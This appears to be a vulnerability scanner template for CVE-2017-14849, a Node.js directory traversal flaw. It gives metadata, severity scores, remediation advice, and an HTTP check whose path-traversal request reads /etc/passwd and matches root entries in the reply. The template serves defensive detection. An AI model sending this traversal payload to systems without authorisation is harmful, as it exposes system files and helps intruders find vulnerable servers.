id: CVE-2017-14849 info: name: Node.js <8.6.0 - Directory Traversal author: Random_Robbie severity: high description: Node.js before 8.6.0 allows remote attackers to access unintended files because a change to ".." handling is incompatible with the pathname validation used by unspecified community modules. remediation: | Upgrade Node.js to version 8.6.0 or higher to mitigate the vulnerability. reference: - https://twitter.com/nodejs/status/913131152868876288 - https://nodejs.org/en/blog/vulnerability/september-2017-path-validation/ - https://nvd.nist.gov/vuln/detail/CVE-2017-14849 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2017-14849 cwe-id: CWE-22 epss-score: 0.96872 epss-percentile: 0.9957 cpe: cpe:2.3:a:nodejs:node.js:8.5.0:*:*:*:*:*:*:* metadata: max-request: 1 vendor: nodejs product: node.js tags: cve,cve2017,nodejs,lfi http: - method: GET path: - "{{BaseURL}}/static/../../../a/../../../../etc/passwd" matchers-condition: and matchers: - type: regex part: body regex: - "root:.*:0:0:" - type: status status: - 200